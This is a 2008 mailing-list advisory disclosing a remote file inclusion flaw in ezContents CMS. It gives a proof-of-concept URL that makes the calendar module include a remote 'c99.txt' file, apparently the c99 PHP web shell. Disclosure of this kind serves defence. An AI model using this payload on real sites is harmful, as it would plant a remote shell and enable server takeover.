Related information

Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

PhpJobScheduler 3.1 Remote File Inclusion Vulnerability

Cross Site Scripting (XSS) in Owl <=0.95, CVE-2008-3100

ViArt <= 3.5 SQL Injection

Multiple Cross-Site Scripting Vulnerabilities in Web Wiz Rich Text Editor version 4.02

From:	HACKERS PAL <security_(at)_soqor.net>
Date:	26.07.2008
Subject:	ezContents CMS Renote File inclusion

Hello,,


ezContents CMS Renote File inclusion .. All versions


Discovered By : HACKERS PAL
Copy rights : HACKERS PAL
Website : http://www.soqor.net
Email Address : security@soqor.net

Remote File inclusion .. example
/********************************************/

modules/calendar/minicalendar.php?GLOBALS[rootdp]=./&GLOBALS[gsLanguage]=http://members.lycos.co.uk/soqor10/c99.txt?

/********************************************/

WwW.SoQoR.NeT